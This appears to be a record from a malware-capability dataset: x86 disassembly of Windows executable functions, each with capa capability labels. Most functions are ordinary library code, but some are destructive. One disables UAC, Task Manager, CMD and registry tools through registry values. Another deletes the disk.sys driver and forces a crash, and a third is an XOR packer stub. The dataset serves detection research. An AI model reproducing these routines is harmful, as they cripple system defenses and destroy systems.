joyce8/EMBER2024-capa huggingface dataset:
Function at 0x715c40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
test esi, esi
je 0x715e19
cmp dword [esi + 0x20], 0
je 0x715e19
cmp dword [esi + 0x24], 0
je 0x715e19
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x715e19
cmp dword [eax], esi
jne 0x715e19
mov eax, dword [eax + 4]
cmp eax, 0x2a
je 0x715ca3
cmp eax, 0x39
je 0x715ca3
cmp eax, 0x45
je 0x715ca3
cmp eax, 0x49
je 0x715ca3
cmp eax, 0x5b
je 0x715ca3
cmp eax, 0x67
je 0x715ca3
cmp eax, 0x71
je 0x715ca3
cmp eax, 0x29a
jne 0x715e19
push edi
mov edi, dword [esi + 0x1c]
mov dword [esi + 0x14], 0
mov dword [esi + 8], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x2c], 2
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 8]
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], eax
test ecx, ecx
jns 0x715cdc
neg ecx
mov dword [edi + 0x18], ecx
cmp ecx, 2
mov eax, 0x2a
mov edx, 0x39
cmove eax, edx
mov dword [edi + 4], eax
push 0
jne 0x715cfe
xor edx, edx
xor ecx, ecx
call fcn.007152e0
jmp 0x715d07
xor edx, edx
xor ecx, ecx
call fcn.00715070
mov dword [esi + 0x30], eax
add esp, 4
lea eax, [edi + 0x94]
mov dword [edi + 0x28], 0xfffffffe
mov dword [edi + 0xb18], eax
mov ecx, edi
lea eax, [edi + 0x988]
mov dword [edi + 0xb20], 0x8049d0
mov dword [edi + 0xb24], eax
lea eax, [edi + 0xa7c]
mov dword [edi + 0xb30], eax
xor eax, eax
mov dword [edi + 0xb2c], 0x804b9c
mov dword [edi + 0xb38], 0x8050c0
mov word [edi + 0x16b8], ax
mov dword [edi + 0x16bc], eax
call fcn.0071a780
mov esi, dword [esi + 0x1c]
xor edx, edx
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x4c]
add eax, eax
mov dword [esi + 0x3c], eax
mov eax, dword [esi + 0x44]
mov word [eax + ecx*2 - 2], dx
mov eax, dword [esi + 0x4c]
lea eax, [eax*2 - 2]
push eax
push edx
push dword [esi + 0x44]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [esi + 0x84]
add esp, 0xc
lea ecx, [eax + eax*2]
movzx eax, word [ecx*4 + 0x803432]
mov dword [esi + 0x80], eax
movzx eax, word [ecx*4 + 0x803430]
mov dword [esi + 0x8c], eax
movzx eax, word [ecx*4 + 0x803434]
mov dword [esi + 0x90], eax
xor eax, eax
movzx ecx, word [ecx*4 + 0x803436]
pop edi
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x6c], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x74], 0
mov dword [esi + 0x16b4], 0
mov dword [esi + 0x78], 2
mov dword [esi + 0x60], 2
mov dword [esi + 0x68], 0
mov dword [esi + 0x48], 0
pop esi
ret
mov eax, 0xfffffffe
pop esi
ret
Function at 0x718960
Capabilities:
Compress data via zlib inflate or deflate

Disassembly:
sub esp, 0x48
push ebx
push ebp
push esi
mov esi, ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x20], esi
push edi
test esi, esi
je 0x719f37
cmp dword [esi + 0x20], 0
je 0x719f37
cmp dword [esi + 0x24], 0
je 0x719f37
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x719f37
cmp dword [eax], esi
jne 0x719f37
mov eax, dword [eax + 4]
sub eax, 0x3f34
cmp eax, 0x1f
ja 0x719f37
cmp dword [esi + 0xc], 0
lea eax, [esi + 0xc]
je 0x719f37
cmp dword [esi], 0
jne 0x7189d2
cmp dword [esi + 4], 0
jne 0x719f37
lea edx, [esi + 0xc]
jmp 0x7189d4
mov edx, eax
mov edi, dword [esi + 0x1c]
mov dword [esp + 0x38], edi
mov dword [esp + 0x48], eax
mov ecx, dword [edi + 4]
cmp ecx, 0x3f3f
jne 0x7189fa
mov dword [edi + 4], 0x3f40
mov ecx, 0x3f40
mov dword [esp + 0x48], edx
mov eax, dword [eax]
mov ebx, dword [esi]
mov ebp, dword [esi + 4]
mov edx, dword [edi + 0x3c]
mov dword [esp + 0x30], eax
mov eax, dword [esi + 0x10]
mov esi, dword [edi + 0x40]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x3c], eax
xor eax, eax
mov dword [esp + 0x34], eax
lea eax, [ecx - 0x3f34]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], esi
mov dword [esp + 0x4c], ebp
cmp eax, 0x1f
ja 0x719f37
jmp 0x718a40
jmp dword [eax*4 + 0x71a064]
pop edi
pop esi
pop ebp
mov eax, 0xfffffffe
pop ebx
add esp, 0x48
ret
Function at 0x7294a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x108
mov eax, dword [0x8bb040]
xor eax, esp
mov dword [esp + 0x104], eax
push ebx
mov ebx, dword [esp + 0x110]
push ebp
push esi
mov esi, ecx
mov dword [esp + 0x14], edx
push edi
mov eax, dword [esi + 0x284]
test eax, eax
je 0x729520
cmp eax, 1
jne 0x7294f4
mov edx, ebx
call fcn.00725420
mov ecx, dword [esp + 0x114]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0073297b
add esp, 0x108
ret
dec eax
mov dword [esi + 0x284], eax
cmp eax, 1
jne 0x729520
mov edx, ebx
call fcn.00725420
test dword [esi + 0x78], 0x100000
mov ecx, esi
je 0x7296c1
push str.no_space_in_chunk_cache
jmp 0x729699
mov eax, dword [esi + 0x74]
test al, 1
je 0x7296cb
test al, 4
je 0x729535
or eax, 8
mov dword [esi + 0x74], eax
push 2
mov edx, ebx
call fcn.00725590
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x729569
mov edx, ebx
mov ecx, esi
call fcn.00725420
test dword [esi + 0x78], 0x100000
mov ecx, esi
je 0x7296d5
push str.out_of_memory
jmp 0x729699
mov eax, dword [esi + 0x5c]
test eax, eax
je 0x7296b5
push ebx
push ebp
push esi
call eax
add esp, 0xc
mov edx, ebp
mov ecx, esi
push ebx
call fcn.0071c1b0
add esp, 4
xor edx, edx
mov ecx, esi
call fcn.00725420
test eax, eax
jne 0x7294db
xor edi, edi
test ebx, ebx
je 0x729688
cmp byte [edi + ebp], 0
je 0x7295af
inc edi
cmp edi, ebx
jb 0x7295a4
cmp edi, 0x4f
ja 0x729688
cmp edi, 1
jb 0x729688
lea eax, [edi + 3]
cmp eax, ebx
jbe 0x7295d2
mov edx, str.truncated
jmp 0x72968d
cmp byte [edi + ebp + 1], 0
je 0x7295e3
mov edx, str.unknown_compression_type
jmp 0x72968d
push ecx
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0xffffffff
push eax
lea eax, [edi + 2]
mov edx, ebx
push eax
mov ecx, esi
call fcn.007259a0
add esp, 0xc
cmp eax, 1
jne 0x729678
mov edx, dword [esi + 0x2a4]
test edx, edx
jne 0x729617
mov edx, str.Read_failure_in_png_handle_zTXt
jmp 0x72968d
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x20], edx
mov dword [esp + 0x28], ecx
push 1
lea eax, [ecx + edi]
mov dword [esp + 0x20], 0
mov byte [eax + edx + 2], 0
mov ecx, esi
lea eax, [edx + 2]
mov dword [esp + 0x30], 0
mov edx, dword [esp + 0x1c]
add eax, edi
mov dword [esp + 0x28], eax
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
call fcn.0072bbd0
add esp, 8
test eax, eax
je 0x7294db
mov edx, str.insufficient_memory
jmp 0x72968d
mov edx, dword [esi + 0x9c]
test edx, edx
je 0x7294db
jmp 0x72968d
mov edx, str.bad_keyword
test dword [esi + 0x78], 0x100000
mov ecx, esi
je 0x7296c6
push edx
lea edx, [esp + 0x3c]
call fcn.0071f8a0
add esp, 4
lea edx, [esp + 0x38]
mov ecx, esi
call fcn.0071f7a0
jmp 0x7294db
mov edx, str.Call_to_NULL_read_function
mov ecx, esi
call fcn.0071f650
mov edx, str.no_space_in_chunk_cache
call fcn.0071f9b0
mov edx, str.missing_IHDR
call fcn.0071f9b0
mov edx, str.out_of_memory
call fcn.0071f9b0
int3
Function at 0x73368e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x7336cd
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x7336cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x7336cd
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x7336cd
cmp dword [ecx + 0x74], 0xe
jbe 0x7336cd
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x733a00
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x733b3a
mov ecx, dword [ebp - 4]
lea ecx, [ecx*4 + 4]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x733b3a
xor ebx, ebx
cmp dword [ebp - 4], ebx
jle 0x733adc
sub eax, esi
mov dword [ebp - 0xc], eax
mov edi, edi
push dword [esi]
call sub.SDL2.dll_SDL_wcslen
lea eax, [eax*2 + 2]
push eax
push dword [esi]
push str.UTF_16LE
push str.UTF_8
call sub.SDL2.dll_SDL_iconv_string
mov edi, eax
add esp, 0x14
test edi, edi
je 0x733b3a
push edi
call sub.SDL2.dll_SDL_strlen
add esp, 4
mov dword [ebp - 0x10], eax
lea ecx, [eax + 1]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + esi], eax
test eax, eax
je 0x733b3a
push dword [ebp - 0x10]
push edi
push eax
call sub.SDL2.dll_SDL_memcpy
push edi
call sub.SDL2.dll_SDL_free
inc ebx
add esp, 0x10
add esi, 4
cmp ebx, dword [ebp - 4]
jl 0x733a60
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 8]
push esi
mov dword [edi + ebx*4], 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
call sub.SDL2.dll_SDL_SetMainReady
push edi
push dword [ebp - 4]
call fcn.004b59a0
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 4], esi
jle 0x733b24
jmp 0x733b10
push dword [edi + esi*4]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
inc esi
cmp esi, dword [ebp - 4]
jl 0x733b10
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push str.Out_of_memory___aborting
push str.Fatal_Error
push 0x10
call sub.SDL2.dll_SDL_ShowSimpleMessageBox
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x1ba34829
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x2ebb4572
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401020
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44
mov eax, dword [0x415004]
xor eax, esp
mov dword [esp + 0x40], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor esi, esi
mov dword [esp + 0x24], 0x401280
mov dword [esp + 0x28], 0x50
mov dword [esp + 0x2c], 0x401570
mov dword [esp + 0x30], 0x3c
mov dword [esp + 0x34], 0x4011a0
mov dword [esp + 0x38], 0x3c
mov dword [esp + 0x3c], 0x4014f0
mov dword [esp + 0x40], 0x46
mov dword [esp + 0x44], 0x4011f0
mov dword [esp + 0x48], 0x1e
nop
push 0
push 0
push 0
push dword [esp + esi*8 + 0x30]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
imul ecx, dword [esp + esi*8 + 0x28], 0x3e8
mov dword [esp + esi*4 + 0x10], eax
push ecx
push eax
call edi
inc esi
cmp esi, 5
jl 0x401090
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov esi, dword [esp + edi*4 + 0x10]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
inc edi
cmp edi, 5
jl 0x4010c2
push 0
push 0
push 0
push section..text
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call ebx
mov ecx, str.C:WindowsSystem32drivers_
call fcn.00401d30
test eax, eax
je 0x401117
mov ecx, str.C:WindowsSystem32driversdisk.sys
call fcn.00401d30
test eax, eax
je 0x401117
push str.C:WindowsSystem32driversdisk.sys
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0xc0000017
call fcn.00401130
int3

Function at 0x401c00
Capabilities:
Disable system features via registry on windows
Hide graphical window
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x415004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push dword [0x1416ed8]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x1416edc]
mov ecx, 1
test eax, eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
cmove eax, ecx
mov dword [0x1416edc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401c84
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.EnableLUA
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 1
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x401cf9
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x10]
call esi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.DisableCMD
push dword [ebp - 0x10]
call esi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.DisableRegistryTools
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00402997
mov esp, ebp
pop ebp
ret
Function at 0x401d20
Capabilities:
Create thread
Delete file
Terminate thread

Disassembly:
call fcn.00401c00
jmp fcn.00401020

Function at 0x401ff0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x415004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x25c], edx
mov esi, ecx
call fcn.00401d30
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x105
push 0x40
call edi
push 0x200
push 0x40
mov ebx, eax
call edi
push esi
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp word [ebx + eax*2 - 2], 0x5c
je 0x402060
mov eax, dword [ebp - 0x25c]
cmp word [eax], 0x5c
je 0x402060
push 0x4121fc
push ebx
call esi
push 0x4121d0
push ebx
call esi
lea eax, [ebp - 0x258]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
mov dword [ebp - 0x260], ebx
cmp ebx, 0xffffffff
je 0x4021b9
lea eax, [ebp - 0x258]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x4021b9
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0x200
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
lea eax, [ebp - 0x22c]
push eax
push edi
mov dword [ebp - 0x26c], edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x412118
lea eax, [ebp - 0x22c]
push eax
call ebx
test eax, eax
je 0x402198
push 0x41211c
lea eax, [ebp - 0x22c]
push eax
call ebx
test eax, eax
je 0x402198
mov eax, dword [ebp - 0x258]
cmp eax, 0x400
je 0x402198
cmp eax, 0x10
jne 0x402115
push 0x4121fc
push edi
call esi
jmp 0x402198
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
xor esi, esi
push edi
call ebx
push dword [ebp - 0x25c]
mov dword [ebp - 0x264], eax
call ebx
mov ebx, eax
mov dword [ebp - 0x270], ebx
cmp dword [ebp - 0x264], ebx
jg 0x402185
jl 0x402185
test ebx, ebx
jle 0x4021e0
mov eax, dword [ebp - 0x25c]
mov edx, edi
sub eax, edi
mov dword [ebp - 0x264], ebx
mov dword [ebp - 0x268], eax
mov edi, eax
mov ax, word [edi + edx]
lea ecx, [esi + 1]
cmp word [edx], ax
lea edx, [edx + 2]
cmovne ecx, esi
mov esi, ecx
sub ebx, 1
jne 0x402160
mov edi, dword [ebp - 0x26c]
cmp esi, dword [ebp - 0x270]
jge 0x4021e0
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4020a3
mov ebx, dword [ebp - 0x260]
xor esi, esi
test edi, edi
je 0x4021c6
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402997
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x260]
mov esi, 1
jmp 0x4021bb
Function at 0x4031cd
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40320c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40320c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40320c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40320c
cmp dword [ecx + 0x74], 0xe
jbe 0x40320c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40c2b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40c2dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40c2dd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40895b
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
mov eax, 0x38b8d04d
inc eax
call fcn.00408980
or edi, eax
xor dword [edx], esi
add edi, 0x8f63a9af
inc edx
cmp edx, ebx
jne fcn.0040895b
inc edi
ret
Function at 0x10002480
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x3c
mov edi, dword [esp + 0x50]
mov ebx, dword [esp + 0x58]
mov eax, dword [esp + 0x5c]
mov esi, dword [esp + 0x54]
add edi, 0x10
mov dword [esp + 0x24], edi
mov edi, dword [esp + 0x50]
add eax, ebx
mov dword [esp + 0x20], eax
add edi, 0x30
cmp ebx, eax
mov dword [esp + 0x2c], edi
jae 0x1000251b
lea esi, [esi]
lea esi, [esi]
mov eax, dword [esp + 0x50]
mov eax, dword [eax + 0x20]
test eax, eax
je 0x10002528
mov ecx, dword [esp + 0x20]
mov ebp, 0x10
mov edi, dword [esp + 0x24]
sub ebp, eax
add ebp, ebx
mov edx, dword [esp + 0x50]
add edi, eax
cmp ecx, ebp
cmovbe ebp, ecx
mov ecx, ebp
sub ecx, ebx
add eax, ecx
and eax, 0xf
cmp ebx, ebp
mov dword [edx + 0x20], eax
jae 0x10002513
xor eax, eax
lea esi, [esi]
movzx edx, byte [ebx + eax]
xor dl, byte [edi + eax]
mov byte [esi + eax], dl
inc eax
cmp ecx, eax
jne 0x10002500
add esi, ecx
mov ebx, ebp
mov eax, dword [esp + 0x20]
cmp ebx, eax
jb 0x100024c0
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
xor eax, eax
xor edx, edx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov ecx, 1
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call sym.avutil_ics_57.dll_mv_aes_crypt
mov eax, dword [esp + 0x50]
mov edi, dword [esp + 0x50]
movzx eax, byte [eax + 0xf]
mov byte [esp + 0x2b], al
inc al
mov byte [edi + 0xf], al
mov eax, edi
jne 0x10002603
movzx eax, byte [edi + 0xe]
mov edi, dword [esp + 0x50]
mov byte [esp + 0x2b], al
inc al
mov byte [edi + 0xe], al
mov eax, edi
jne 0x10002603
movzx eax, byte [edi + 0xd]
mov byte [esp + 0x2b], al
mov dl, al
mov eax, dword [esp + 0x50]
inc dl
mov byte [eax + 0xd], dl
mov eax, dword [eax + 0x20]
jne 0x100024cb
movzx ecx, byte [edi + 0xc]
mov byte [esp + 0x2b], cl
mov dl, cl
inc dl
mov byte [edi + 0xc], dl
jne 0x100024cb
movzx ecx, byte [edi + 0xb]
mov byte [esp + 0x2b], cl
mov dl, cl
inc dl
mov byte [edi + 0xb], dl
jne 0x100024cb
movzx ecx, byte [edi + 0xa]
mov byte [esp + 0x2b], cl
mov dl, cl
inc dl
mov byte [edi + 0xa], dl
jne 0x100024cb
movzx ecx, byte [edi + 9]
mov byte [esp + 0x2b], cl
mov dl, cl
inc dl
mov byte [edi + 9], dl
jne 0x100024cb
inc byte [edi + 8]
jmp 0x100024cb
mov eax, dword [eax + 0x20]
jmp 0x100024cb
Function at 0x10010980
Capabilities:
Encode data using xor

Disassembly:
push ebp
push edi
mov edi, edx
push esi
xor edx, edx
push ebx
mov esi, eax
sub esp, 0x34
xor eax, eax
mov dword [esp + 0x2c], ecx
mov ebx, 0x100b11c0
mov cl, 6
jmp 0x100109a3
movzx ecx, byte [ebx]
shld edx, eax, 1
add eax, eax
mov dword [esp + 8], eax
mov eax, esi
inc ebx
mov dword [esp + 0xc], edx
shrd eax, edi, cl
mov edx, edi
shr edx, cl
test cl, 0x20
cmovne eax, edx
mov edx, dword [esp + 0xc]
and eax, 1
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [esp + 8]
add eax, dword [esp]
adc edx, dword [esp + 4]
cmp ebx, 0x100b1200
jne 0x100109a0
mov dword [esp + 0x10], eax
xor edi, edi
mov dword [esp + 0x14], edx
mov dword [esp + 8], edi
lea esi, [esi]
lea esi, [esi]
mov eax, dword [esp + 8]
mov edi, dword [esp + 0x2c]
mov edx, dword [esp + 0x10]
xor eax, 0xf
mov ebx, dword [edi + eax*8 + 4]
mov ecx, dword [edi + eax*8]
mov ebp, edx
mov edi, edx
ror ebp, 3
ror edi, 7
mov dword [esp + 4], ebx
mov eax, edi
mov dword [esp], ecx
shrd ecx, ebx, 6
mov ebx, dword [esp + 4]
xor ebp, ecx
mov ecx, dword [esp]
and ebp, 0x3f
shrd ecx, ebx, 0xc
mov ebx, dword [esp + 4]
xor eax, ecx
mov ecx, dword [esp]
mov esi, eax
mov eax, dword [ebp*4 + 0x100b0f40]
and esi, 0x3f
mov ebp, dword [esi*4 + 0x100b0e40]
mov esi, edx
rol esi, 1
xor esi, ecx
shrd ecx, ebx, 0x12
and esi, 0x3f
mov ebx, dword [esp + 4]
or eax, ebp
mov ebp, edx
mov edi, dword [esi*4 + 0x100b1040]
ror ebp, 0xb
mov esi, dword [esp + 4]
xor ebp, ecx
mov ecx, dword [esp]
and ebp, 0x3f
or eax, edi
mov edi, dword [ebp*4 + 0x100b0d40]
mov ebp, edx
ror ebp, 0xf
shrd ecx, ebx, 0x18
mov ebx, dword [esp + 4]
shr esi, 4
xor ebp, ecx
mov ecx, dword [esp]
and ebp, 0x3f
or eax, edi
mov edi, dword [ebp*4 + 0x100b0c40]
mov ebp, edx
rol ebp, 0xd
shrd ecx, ebx, 0x1e
mov ebx, dword [esp + 0x10]
xor ebp, ecx
mov ecx, edx
and ebp, 0x3f
or eax, edi
mov edi, dword [ebp*4 + 0x100b0b40]
rol ecx, 9
mov dword [esp + 0x1c], ebx
xor ecx, esi
mov esi, dword [esp + 0x1c]
or eax, edi
and ecx, 0x3f
mov edi, dword [esp + 0x14]
mov ebp, dword [ecx*4 + 0x100b0a40]
rol edx, 5
mov ecx, dword [esp + 4]
mov dword [esp + 0x18], edi
mov ebx, dword [esp + 0x18]
or eax, ebp
shr ecx, 0xa
xor edx, ecx
and edx, 0x3f
mov ecx, dword [edx*4 + 0x100b0940]
xor edx, edx
xor edx, esi
or eax, ecx
xor eax, ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x10
jne 0x10010a00
mov edi, dword [esp + 0x10]
xor esi, esi
mov cl, 0x39
mov dword [esp], esi
mov eax, dword [esp + 0x14]
mov ebp, 0x100b11ff
mov edx, edi
xor edi, edi
mov dword [esp + 4], edi
jmp 0x10010b54
movzx ecx, byte [ebp]
mov edi, eax
xor ebx, ebx
mov dword [esp + 0x24], ebx
and edi, 1
dec ebp
mov dword [esp + 0x20], edi
mov esi, dword [esp + 0x24]
xor edi, edi
mov ebx, dword [esp + 0x20]
shld esi, ebx, cl
shl ebx, cl
test cl, 0x20
cmovne esi, ebx
cmovne ebx, edi
or dword [esp], ebx
shrd eax, edx, 1
or dword [esp + 4], esi
shr edx, 1
cmp ebp, 0x100b11bf
jne 0x10010b50
mov esi, dword [esp]
mov edi, dword [esp + 4]
add esp, 0x34
pop ebx
mov eax, esi
pop esi
mov edx, edi
pop edi
pop ebp
ret
Function at 0x1001d720
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x3c
mov dword [esp + 0x2c], ebx
mov edx, dword [esp + 0x50]
mov dword [esp + 0x30], esi
mov ebx, dword [esp + 0x40]
mov dword [esp + 0x34], edi
mov eax, dword [esp + 0x48]
mov dword [esp + 0x38], ebp
mov esi, dword [esp + 0x54]
mov dword [esp + 8], edx
mov edx, dword [esp + 0x4c]
mov dword [esp], ebx
mov ebp, dword [esp + 0x44]
mov dword [esp + 0x1c], eax
mov edi, dword [esp + 0x58]
mov dword [esp + 4], edx
call sym.avutil_ics_57.dll_mv_hmac_init
mov eax, dword [esp + 0x1c]
mov dword [esp + 4], ebp
mov dword [esp + 8], eax
mov eax, dword [ebx]
mov dword [esp], eax
call dword [ebx + 0x10]
mov ebp, dword [esp + 0x38]
mov dword [esp + 0x48], edi
mov edi, dword [esp + 0x34]
mov dword [esp + 0x44], esi
mov esi, dword [esp + 0x30]
mov dword [esp + 0x40], ebx
mov ebx, dword [esp + 0x2c]
add esp, 0x3c
jmp sym.avutil_ics_57.dll_mv_hmac_final